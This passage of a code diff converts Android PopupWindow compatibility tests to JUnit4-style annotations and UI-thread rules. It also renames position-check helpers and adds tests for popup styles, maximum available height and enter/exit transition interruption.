     }
 
-    /*
-     * (non-Javadoc)
-     *
-     * @see android.test.ActivityInstrumentationTestCase#setUp()
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new PopupWindow(mActivity);
 
@@ -85,6 +96,18 @@
 
         new PopupWindow(mActivity, null, android.R.attr.popupWindowStyle);
 
+        new PopupWindow(mActivity, null, 0, android.R.style.Widget_DeviceDefault_PopupWindow);
+
+        new PopupWindow(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_PopupWindow);
+
+        new PopupWindow(mActivity, null, 0, android.R.style.Widget_Material_PopupWindow);
+
+        new PopupWindow(mActivity, null, 0, android.R.style.Widget_Material_Light_PopupWindow);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSize() {
         mPopupWindow = new PopupWindow();
         assertEquals(0, mPopupWindow.getWidth());
         assertEquals(0, mPopupWindow.getHeight());
@@ -135,10 +158,9 @@
         assertTrue(mPopupWindow.isFocusable());
     }
 
+    @Test
     public void testAccessEnterExitTransitions() {
-        PopupWindow w;
-
-        w = new PopupWindow(mActivity, null, 0, 0);
+        PopupWindow w = new PopupWindow(mActivity, null, 0, 0);
         assertNull(w.getEnterTransition());
         assertNull(w.getExitTransition());
 
@@ -182,6 +204,7 @@
         public void captureEndValues(TransitionValues transitionValues) {}
     }
 
+    @Test
     public void testAccessBackground() {
         mPopupWindow = new PopupWindow(mActivity);
 
@@ -193,6 +216,7 @@
         assertNull(mPopupWindow.getBackground());
     }
 
+    @Test
     public void testAccessAnimationStyle() {
         mPopupWindow = new PopupWindow(mActivity);
         // default is -1
@@ -207,28 +231,31 @@
         assertEquals(-100, mPopupWindow.getAnimationStyle());
     }
 
-    public void testAccessContentView() {
+    @Test
+    public void testAccessContentView() throws Throwable {
         mPopupWindow = new PopupWindow(mActivity);
         assertNull(mPopupWindow.getContentView());
 
-        View view = new TextView(mActivity);
-        mPopupWindow.setContentView(view);
-        assertSame(view, mPopupWindow.getContentView());
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+        mPopupWindow.setContentView(mTextView);
+        assertSame(mTextView, mPopupWindow.getContentView());
 
         mPopupWindow.setContentView(null);
         assertNull(mPopupWindow.getContentView());
 
         // can not set the content if the old content is shown
-        mPopupWindow.setContentView(view);
+        mPopupWindow.setContentView(mTextView);
         assertFalse(mPopupWindow.isShowing());
         showPopup();
         ImageView img = new ImageView(mActivity);
         assertTrue(mPopupWindow.isShowing());
         mPopupWindow.setContentView(img);
-        assertSame(view, mPopupWindow.getContentView());
+        assertSame(mTextView, mPopupWindow.getContentView());
         dismissPopup();
     }
 
+    @Test
     public void testAccessFocusable() {
         mPopupWindow = new PopupWindow(mActivity);
         assertFalse(mPopupWindow.isFocusable());
@@ -240,6 +267,7 @@
         assertFalse(mPopupWindow.isFocusable());
     }
 
+    @Test
     public void testAccessHeight() {
         mPopupWindow = new PopupWindow(mActivity);
         assertEquals(WindowManager.LayoutParams.WRAP_CONTENT, mPopupWindow.getHeight());
@@ -274,6 +302,7 @@
         return wm.getDefaultDisplay();
     }
 
+    @Test
     public void testAccessWidth() {
         mPopupWindow = new PopupWindow(mActivity);
         assertEquals(WindowManager.LayoutParams.WRAP_CONTENT, mPopupWindow.getWidth());
@@ -308,98 +337,106 @@
     private static final int LESS_THAN = -1;
     private static final int EQUAL_TO = 0;
 
-    public void testShowAsDropDown() {
-        final PopupWindow popup = createPopupWindow(createPopupContent(50, 50));
+    @Test
+    public void testShowAsDropDown() throws Throwable {
+        final PopupWindow popup = createPopupWindow(createPopupContent(CONTENT_SIZE_DP,
+                CONTENT_SIZE_DP));
         popup.setClipToScreenEnabled(false);
         popup.setOverlapAnchor(false);
         popup.setAnimationStyle(0);
         popup.setExitTransition(null);
         popup.setEnterTransition(null);
 
-        assertPosition(popup, R.id.anchor_upper_left,
+        verifyPosition(popup, R.id.anchor_upper_left,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_upper,
+        verifyPosition(popup, R.id.anchor_upper,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_upper_right,
+        verifyPosition(popup, R.id.anchor_upper_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, BOTTOM);
 
-        assertPosition(popup, R.id.anchor_middle_left,
+        verifyPosition(popup, R.id.anchor_middle_left,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_middle,
+        verifyPosition(popup, R.id.anchor_middle,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_middle_right,
+        verifyPosition(popup, R.id.anchor_middle_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, BOTTOM);
 
-        assertPosition(popup, R.id.anchor_lower_left,
+        verifyPosition(popup, R.id.anchor_lower_left,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_lower,
+        verifyPosition(popup, R.id.anchor_lower,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_lower_right,
+        verifyPosition(popup, R.id.anchor_lower_right,
                 RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
     }
 
-    public void testShowAsDropDown_ClipToScreen() {
-        final PopupWindow popup = createPopupWindow(createPopupContent(50, 50));
+    @Test
+    public void testShowAsDropDown_ClipToScreen() throws Throwable {
+        final PopupWindow popup = createPopupWindow(createPopupContent(CONTENT_SIZE_DP,
+                CONTENT_SIZE_DP));
         popup.setClipToScreenEnabled(true);
         popup.setOverlapAnchor(false);
         popup.setAnimationStyle(0);
         popup.setExitTransition(null);
         popup.setEnterTransition(null);
 
-        assertPosition(popup, R.id.anchor_upper_left,
+        verifyPosition(popup, R.id.anchor_upper_left,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_upper,
+        verifyPosition(popup, R.id.anchor_upper,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_upper_right,
+        verifyPosition(popup, R.id.anchor_upper_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, BOTTOM);
 
-        assertPosition(popup, R.id.anchor_middle_left,
+        verifyPosition(popup, R.id.anchor_middle_left,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_middle,
+        verifyPosition(popup, R.id.anchor_middle,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_middle_right,
+        verifyPosition(popup, R.id.anchor_middle_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, BOTTOM);
 
-        assertPosition(popup, R.id.anchor_lower_left,
+        verifyPosition(popup, R.id.anchor_lower_left,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_lower,
+        verifyPosition(popup, R.id.anchor_lower,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_lower_right,
+        verifyPosition(popup, R.id.anchor_lower_right,
                 RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
     }
 
-    public void testShowAsDropDown_ClipToScreen_Overlap() {
-        final PopupWindow popup = createPopupWindow(createPopupContent(50, 50));
+    @Test
+    public void testShowAsDropDown_ClipToScreen_Overlap() throws Throwable {
+        final PopupWindow popup = createPopupWindow(createPopupContent(CONTENT_SIZE_DP,
+                CONTENT_SIZE_DP));
         popup.setClipToScreenEnabled(true);
         popup.setOverlapAnchor(true);
         popup.setAnimationStyle(0);
         popup.setExitTransition(null);
         popup.setEnterTransition(null);
 
-        assertPosition(popup, R.id.anchor_upper_left,
+        verifyPosition(popup, R.id.anchor_upper_left,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_upper,
+        verifyPosition(popup, R.id.anchor_upper,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_upper_right,
+        verifyPosition(popup, R.id.anchor_upper_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
 
-        assertPosition(popup, R.id.anchor_middle_left,
+        verifyPosition(popup, R.id.anchor_middle_left,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_middle,
+        verifyPosition(popup, R.id.anchor_middle,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_middle_right,
+        verifyPosition(popup, R.id.anchor_middle_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
 
-        assertPosition(popup, R.id.anchor_lower_left,
+        verifyPosition(popup, R.id.anchor_lower_left,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_lower,
+        verifyPosition(popup, R.id.anchor_lower,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
-        assertPosition(popup, R.id.anchor_lower_right,
+        verifyPosition(popup, R.id.anchor_lower_right,
                 RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
     }
 
-    public void testShowAsDropDown_ClipToScreen_Overlap_Offset() {
-        final PopupWindow popup = createPopupWindow(createPopupContent(50, 50));
+    @Test
+    public void testShowAsDropDown_ClipToScreen_Overlap_Offset() throws Throwable {
+        final PopupWindow popup = createPopupWindow(createPopupContent(CONTENT_SIZE_DP,
+                CONTENT_SIZE_DP));
         popup.setClipToScreenEnabled(true);
         popup.setOverlapAnchor(true);
         popup.setAnimationStyle(0);
@@ -410,38 +447,39 @@
         final int offsetY = mActivity.findViewById(R.id.anchor_upper).getHeight() / 2;
         final int gravity = Gravity.TOP | Gravity.START;
 
-        assertPosition(popup, R.id.anchor_upper_left,
+        verifyPosition(popup, R.id.anchor_upper_left,
                 LEFT, GREATER_THAN, LEFT, TOP, GREATER_THAN, TOP,
                 offsetX, offsetY, gravity);
-        assertPosition(popup, R.id.anchor_upper,
+        verifyPosition(popup, R.id.anchor_upper,
                 LEFT, GREATER_THAN, LEFT, TOP, GREATER_THAN, TOP,
                 offsetX, offsetY, gravity);
-        assertPosition(popup, R.id.anchor_upper_right,
+        verifyPosition(popup, R.id.anchor_upper_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, GREATER_THAN, TOP,
                 offsetX, offsetY, gravity);
 
-        assertPosition(popup, R.id.anchor_middle_left,
+        verifyPosition(popup, R.id.anchor_middle_left,
                 LEFT, GREATER_THAN, LEFT, TOP, GREATER_THAN, TOP,
                 offsetX, offsetY, gravity);
-        assertPosition(popup, R.id.anchor_middle,
+        verifyPosition(popup, R.id.anchor_middle,
                 LEFT, GREATER_THAN, LEFT, TOP, GREATER_THAN, TOP,
                 offsetX, offsetY, gravity);
-        assertPosition(popup, R.id.anchor_middle_right,
+        verifyPosition(popup, R.id.anchor_middle_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, GREATER_THAN, TOP,
                 offsetX, offsetY, gravity);
 
-        assertPosition(popup, R.id.anchor_lower_left,
+        verifyPosition(popup, R.id.anchor_lower_left,
                 LEFT, GREATER_THAN, LEFT, BOTTOM, LESS_THAN, BOTTOM,
                 offsetX, offsetY, gravity);
-        assertPosition(popup, R.id.anchor_lower,
+        verifyPosition(popup, R.id.anchor_lower,
                 LEFT, GREATER_THAN, LEFT, BOTTOM, LESS_THAN, BOTTOM,
                 offsetX, offsetY, gravity);
-        assertPosition(popup, R.id.anchor_lower_right,
+        verifyPosition(popup, R.id.anchor_lower_right,
                 RIGHT, EQUAL_TO, RIGHT, BOTTOM, LESS_THAN, BOTTOM,
                 offsetX, offsetY, gravity);
     }
 
-    public void testShowAsDropDown_ClipToScreen_TooBig() {
+    @Test
+    public void testShowAsDropDown_ClipToScreen_TooBig() throws Throwable {
         final View rootView = mActivity.findViewById(R.id.anchor_upper_left).getRootView();
         final int width = rootView.getWidth() * 2;
         final int height = rootView.getHeight() * 2;
@@ -456,67 +494,84 @@
         popup.setExitTransition(null);
         popup.setEnterTransition(null);
 
-        assertPosition(popup, R.id.anchor_upper_left,
+        verifyPosition(popup, R.id.anchor_upper_left,
                 LEFT, EQUAL_TO, LEFT, TOP, LESS_THAN, TOP);
-        assertPosition(popup, R.id.anchor_upper,
+        verifyPosition(popup, R.id.anchor_upper,
                 LEFT, LESS_THAN, LEFT, TOP, LESS_THAN, TOP);
-        assertPosition(popup, R.id.anchor_upper_right,
+        verifyPosition(popup, R.id.anchor_upper_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, LESS_THAN, TOP);
 
-        assertPosition(popup, R.id.anchor_middle_left,
+        verifyPosition(popup, R.id.anchor_middle_left,
                 LEFT, EQUAL_TO, LEFT, TOP, LESS_THAN, TOP);
-        assertPosition(popup, R.id.anchor_middle,
+        verifyPosition(popup, R.id.anchor_middle,
                 LEFT, LESS_THAN, LEFT, TOP, LESS_THAN, TOP);
-        assertPosition(popup, R.id.anchor_middle_right,
+        verifyPosition(popup, R.id.anchor_middle_right,
                 RIGHT, EQUAL_TO, RIGHT, TOP, LESS_THAN, TOP);
 
-        assertPosition(popup, R.id.anchor_lower_left,
+        verifyPosition(popup, R.id.anchor_lower_left,
                 LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_lower,
+        verifyPosition(popup, R.id.anchor_lower,
                 LEFT, LESS_THAN, LEFT, BOTTOM, EQUAL_TO, BOTTOM);
-        assertPosition(popup, R.id.anchor_lower_right,
+        verifyPosition(popup, R.id.anchor_lower_right,
                 RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, BOTTOM);
     }
 
-    private void assertPosition(PopupWindow popup, int anchorId,
+    private void verifyPosition(PopupWindow popup, int anchorId,
             int contentEdgeX, int operatorX, int anchorEdgeX,
-            int contentEdgeY, int operatorY, int anchorEdgeY) {
-        assertPosition(popup, anchorId,
+            int contentEdgeY, int operatorY, int anchorEdgeY) throws Throwable {
+        verifyPosition(popup, mActivity.findViewById(anchorId),
                 contentEdgeX, operatorX, anchorEdgeX,
                 contentEdgeY, operatorY, anchorEdgeY,
                 0, 0, Gravity.TOP | Gravity.START);
     }
 
-    private void assertPosition(PopupWindow popup, int anchorId,
+    private void verifyPosition(PopupWindow popup, int anchorId,
             int contentEdgeX, int operatorX, int anchorEdgeX,
             int contentEdgeY, int operatorY, int anchorEdgeY,
-            int offsetX, int offsetY, int gravity) {
-        final View content = popup.getContentView();
-        final View anchor = mActivity.findViewById(anchorId);
+            int offsetX, int offsetY, int gravity) throws Throwable {
+        verifyPosition(popup, mActivity.findViewById(anchorId),
+                contentEdgeX, operatorX, anchorEdgeX,
+                contentEdgeY, operatorY, anchorEdgeY, offsetX, offsetY, gravity);
+    }
 
-        getInstrumentation().runOnMainSync(() -> popup.showAsDropDown(
+    private void verifyPosition(PopupWindow popup, View anchor,
+            int contentEdgeX, int operatorX, int anchorEdgeX,
+            int contentEdgeY, int operatorY, int anchorEdgeY) throws Throwable {
+        verifyPosition(popup, anchor,
+                contentEdgeX, operatorX, anchorEdgeX,
+                contentEdgeY, operatorY, anchorEdgeY,
+                0, 0, Gravity.TOP | Gravity.START);
+    }
+
+    private void verifyPosition(PopupWindow popup, View anchor,
+            int contentEdgeX, int operatorX, int anchorEdgeX,
+            int contentEdgeY, int operatorY, int anchorEdgeY,
+            int offsetX, int offsetY, int gravity) throws Throwable {
+        final View content = popup.getContentView();
+
+        mActivityRule.runOnUiThread(() -> popup.showAsDropDown(
                 anchor, offsetX, offsetY, gravity));
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         assertTrue(popup.isShowing());
-        assertPositionX(content, contentEdgeX, operatorX, anchor, anchorEdgeX);
-        assertPositionY(content, contentEdgeY, operatorY, anchor, anchorEdgeY);
+        verifyPositionX(content, contentEdgeX, operatorX, anchor, anchorEdgeX);
+        verifyPositionY(content, contentEdgeY, operatorY, anchor, anchorEdgeY);
 
         // Make sure it fits in the display frame.
         final Rect displayFrame = new Rect();
         anchor.getWindowVisibleDisplayFrame(displayFrame);
         final Rect contentFrame = new Rect();
         content.getBoundsOnScreen(contentFrame);
-        assertTrue("Content (" + contentFrame + ") extends outside display (" + displayFrame + ")",
-                displayFrame.contains(contentFrame));
+        assertTrue("Content (" + contentFrame + ") extends outside display ("
+                + displayFrame + ")", displayFrame.contains(contentFrame));
 
-        getInstrumentation().runOnMainSync(() -> popup.dismiss());
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(popup::dismiss);
+        mInstrumentation.waitForIdleSync();
 
         assertFalse(popup.isShowing());
     }
 
-    public static void assertPositionY(View content, int contentEdge, int flags,
+    private void verifyPositionY(View content, int contentEdge, int flags,
             View anchor, int anchorEdge) {
         final int[] anchorOnScreenXY = new int[2];
         anchor.getLocationOnScreen(anchorOnScreenXY);
@@ -535,7 +590,7 @@
         assertComparison(contentY, flags, anchorY);
     }
 
-    private static void assertPositionX(View content, int contentEdge, int flags,
+    private void verifyPositionX(View content, int contentEdge, int flags,
             View anchor, int anchorEdge) {
         final int[] anchorOnScreenXY = new int[2];
         anchor.getLocationOnScreen(anchorOnScreenXY);
@@ -554,7 +609,7 @@
         assertComparison(contentX, flags, anchorX);
     }
 
-    private static void assertComparison(int left, int operator, int right) {
+    private void assertComparison(int left, int operator, int right) {
         switch (operator) {
             case GREATER_THAN:
                 assertTrue(left + " <= " + right, left > right);
@@ -568,15 +623,18 @@
         }
     }
 
-    public void testShowAtLocation() {
+    @Test
+    public void testShowAtLocation() throws Throwable {
         int[] popupContentViewInWindowXY = new int[2];
         int[] popupContentViewOnScreenXY = new int[2];
         Rect containingRect = new Rect();
 
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         // Do not attach within the decor; we will be measuring location
         // with regard to screen coordinates.
         mPopupWindow.setAttachedInDecor(false);
+        assertFalse(mPopupWindow.isAttachedInDecor());
+
         final View upperAnchor = mActivity.findViewById(R.id.anchor_upper);
 
         final int xOff = 10;
@@ -586,7 +644,7 @@
         assertEquals(0, popupContentViewInWindowXY[0]);
         assertEquals(0, popupContentViewInWindowXY[1]);
 
-        mInstrumentation.runOnMainSync(
+        mActivityRule.runOnUiThread(
                 () -> mPopupWindow.showAtLocation(upperAnchor, Gravity.NO_GRAVITY, xOff, yOff));
         mInstrumentation.waitForIdleSync();
 
@@ -605,12 +663,13 @@
         dismissPopup();
     }
 
-    public void testShowAsDropDownWithOffsets() {
+    @Test
+    public void testShowAsDropDownWithOffsets() throws Throwable {
         int[] anchorXY = new int[2];
         int[] viewOnScreenXY = new int[2];
         int[] viewInWindowXY = new int[2];
 
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         final View upperAnchor = mActivity.findViewById(R.id.anchor_upper);
         upperAnchor.getLocationOnScreen(anchorXY);
         int height = upperAnchor.getHeight();
@@ -618,7 +677,7 @@
         final int xOff = 11;
         final int yOff = 12;
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(upperAnchor, xOff, yOff));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.showAsDropDown(upperAnchor, xOff, yOff));
         mInstrumentation.waitForIdleSync();
 
         mPopupWindow.getContentView().getLocationOnScreen(viewOnScreenXY);
@@ -629,12 +688,13 @@
         dismissPopup();
     }
 
-    public void testOverlapAnchor() {
+    @Test
+    public void testOverlapAnchor() throws Throwable {
         int[] anchorXY = new int[2];
         int[] viewOnScreenXY = new int[2];
         int[] viewInWindowXY = new int[2];
 
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         final View upperAnchor = mActivity.findViewById(R.id.anchor_upper);
         upperAnchor.getLocationOnScreen(anchorXY);
 
@@ -642,7 +702,7 @@
         mPopupWindow.setOverlapAnchor(true);
         assertTrue(mPopupWindow.getOverlapAnchor());
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(upperAnchor, 0, 0));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.showAsDropDown(upperAnchor, 0, 0));
         mInstrumentation.waitForIdleSync();
 
         mPopupWindow.getContentView().getLocationOnScreen(viewOnScreenXY);
@@ -651,8 +711,9 @@
         assertEquals(anchorXY[1] + viewInWindowXY[1], viewOnScreenXY[1]);
     }
 
+    @Test
     public void testAccessWindowLayoutType() {
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         assertEquals(WindowManager.LayoutParams.TYPE_APPLICATION_PANEL,
                 mPopupWindow.getWindowLayoutType());
         mPopupWindow.setWindowLayoutType(WindowManager.LayoutParams.TYPE_APPLICATION_SUB_PANEL);
@@ -660,49 +721,81 @@
                 mPopupWindow.getWindowLayoutType());
     }
 
+    @Test
     public void testGetMaxAvailableHeight() {
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
-
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
+        Rect displayFrame = new Rect();
         View anchorView = mActivity.findViewById(R.id.anchor_upper);
-        int avaliable = getDisplay().getHeight() - anchorView.getHeight();
+        anchorView.getWindowVisibleDisplayFrame(displayFrame);
+        int displayHeight = displayFrame.height();
+        int available = displayHeight - anchorView.getHeight();
         int maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
+        int maxAvailableHeightIgnoringBottomDecoration =
+                mPopupWindow.getMaxAvailableHeight(anchorView, 0, true);
         assertTrue(maxAvailableHeight > 0);
-        assertTrue(maxAvailableHeight <= avaliable);
+        assertTrue(maxAvailableHeight <= available);
+        assertTrue(maxAvailableHeightIgnoringBottomDecoration >= maxAvailableHeight);
+        assertTrue(maxAvailableHeightIgnoringBottomDecoration <= available);
+
         int maxAvailableHeightWithOffset = mPopupWindow.getMaxAvailableHeight(anchorView, 2);
         assertEquals(maxAvailableHeight - 2, maxAvailableHeightWithOffset);
+
         maxAvailableHeightWithOffset =
                 mPopupWindow.getMaxAvailableHeight(anchorView, maxAvailableHeight);
         assertTrue(maxAvailableHeightWithOffset > 0);
-        assertTrue(maxAvailableHeightWithOffset <= avaliable);
+        assertTrue(maxAvailableHeightWithOffset <= available);
+
         maxAvailableHeightWithOffset =
                 mPopupWindow.getMaxAvailableHeight(anchorView, maxAvailableHeight / 2 - 1);
         assertTrue(maxAvailableHeightWithOffset > 0);
-        assertTrue(maxAvailableHeightWithOffset <= avaliable);
+        assertTrue(maxAvailableHeightWithOffset <= available);
+
         maxAvailableHeightWithOffset = mPopupWindow.getMaxAvailableHeight(anchorView, -1);
         assertTrue(maxAvailableHeightWithOffset > 0);
-        assertTrue(maxAvailableHeightWithOffset <= avaliable);
+        assertTrue(maxAvailableHeightWithOffset <= available);
+
+        int maxAvailableHeightWithOffsetIgnoringBottomDecoration =
+                mPopupWindow.getMaxAvailableHeight(anchorView, 2, true);
+        assertEquals(maxAvailableHeightIgnoringBottomDecoration - 2,
+                maxAvailableHeightWithOffsetIgnoringBottomDecoration);
+
+        maxAvailableHeightWithOffsetIgnoringBottomDecoration =
+                mPopupWindow.getMaxAvailableHeight(anchorView, maxAvailableHeight, true);
+        assertTrue(maxAvailableHeightWithOffsetIgnoringBottomDecoration > 0);
+        assertTrue(maxAvailableHeightWithOffsetIgnoringBottomDecoration <= available);
+
+        maxAvailableHeightWithOffsetIgnoringBottomDecoration =
+                mPopupWindow.getMaxAvailableHeight(anchorView, maxAvailableHeight / 2 - 1, true);
+        assertTrue(maxAvailableHeightWithOffsetIgnoringBottomDecoration > 0);
+        assertTrue(maxAvailableHeightWithOffsetIgnoringBottomDecoration <= available);
+
+        maxAvailableHeightWithOffsetIgnoringBottomDecoration =
+                mPopupWindow.getMaxAvailableHeight(anchorView, -1, true);
+        assertTrue(maxAvailableHeightWithOffsetIgnoringBottomDecoration > 0);
+        assertTrue(maxAvailableHeightWithOffsetIgnoringBottomDecoration <= available);
 
         anchorView = mActivity.findViewById(R.id.anchor_lower);
         // On some devices the view might actually have larger size than the physical display
         // due to chin and content will be laid out as if outside of the display. We need to use
         // larger from the display height and the main view height.
-        avaliable = Math.max(getDisplay().getHeight(),
+        available = Math.max(displayHeight,
                 mActivity.findViewById(android.R.id.content).getHeight()) - anchorView.getHeight();
         maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
-        assertTrue(maxAvailableHeight <= avaliable);
+        assertTrue(maxAvailableHeight <= available);
 
         anchorView = mActivity.findViewById(R.id.anchor_middle_left);
-        avaliable = getDisplay().getHeight() - anchorView.getHeight()
+        available = displayHeight - anchorView.getHeight()
                 - mActivity.findViewById(R.id.anchor_upper).getHeight();
         maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
-        assertTrue(maxAvailableHeight <= avaliable);
+        assertTrue(maxAvailableHeight <= available);
     }
 
     @UiThreadTest
+    @Test
     public void testDismiss() {
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         assertFalse(mPopupWindow.isShowing());
         View anchorView = mActivity.findViewById(R.id.anchor_upper);
         mPopupWindow.showAsDropDown(anchorView);
@@ -714,8 +807,11 @@
         assertFalse(mPopupWindow.isShowing());
     }
 
-    public void testSetOnDismissListener() {
-        mPopupWindow = new PopupWindow(new TextView(mActivity));
+    @Test
+    public void testSetOnDismissListener() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+        mPopupWindow = new PopupWindow(mTextView);
         mPopupWindow.setOnDismissListener(null);
 
         OnDismissListener onDismissListener = mock(OnDismissListener.class);
@@ -734,8 +830,9 @@
         verify(onDismissListener, times(2)).onDismiss();
     }
 
-    public void testUpdate() {
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+    @Test
+    public void testUpdate() throws Throwable {
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         mPopupWindow.setBackgroundDrawable(null);
         showPopup();
 
@@ -757,7 +854,7 @@
         assertEquals(0, WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS & p.flags);
         assertEquals(0, WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM & p.flags);
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update());
+        mActivityRule.runOnUiThread(mPopupWindow::update);
         mInstrumentation.waitForIdleSync();
 
         assertEquals(WindowManager.LayoutParams.FLAG_IGNORE_CHEEK_PRESSES,
@@ -773,19 +870,29 @@
                 WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM & p.flags);
     }
 
+    @Test
+    public void testEnterExitInterruption() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAsDropDown(anchorView, 0, 0), true);
+    }
+
+    @Test
     public void testEnterExitTransitionAsDropDown() throws Throwable {
         final View anchorView = mActivity.findViewById(R.id.anchor_upper);
         verifyEnterExitTransition(
-                () -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+                () -> mPopupWindow.showAsDropDown(anchorView, 0, 0), false);
     }
 
+    @Test
     public void testEnterExitTransitionAtLocation() throws Throwable {
         final View anchorView = mActivity.findViewById(R.id.anchor_upper);
         verifyEnterExitTransition(
-                () -> mPopupWindow.showAtLocation(anchorView, Gravity.BOTTOM, 0, 0));
+                () -> mPopupWindow.showAtLocation(anchorView, Gravity.BOTTOM, 0, 0), false);
     }
 
-    private void verifyEnterExitTransition(Runnable showRunnable) throws Throwable {
+    private void verifyEnterExitTransition(Runnable showRunnable, boolean showAgain)
+            throws Throwable {
         TransitionListener enterListener = mock(TransitionListener.class);
         Transition enterTransition = new BaseTransition();
         enterTransition.addListener(enterListener);
@@ -796,35 +903,46 @@
 
         OnDismissListener dismissListener = mock(OnDismissListener.class);
 
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         mPopupWindow.setEnterTransition(enterTransition);
         mPopupWindow.setExitTransition(exitTransition);
         mPopupWindow.setOnDismissListener(dismissListener);
-        verify(enterListener, never()).onTransitionStart(any(Transition.class));
-        verify(exitListener, never()).onTransitionStart(any(Transition.class));
-        verify(dismissListener, never()).onDismiss();
 
-        mInstrumentation.runOnMainSync(showRunnable);
+        mActivityRule.runOnUiThread(showRunnable);
         mInstrumentation.waitForIdleSync();
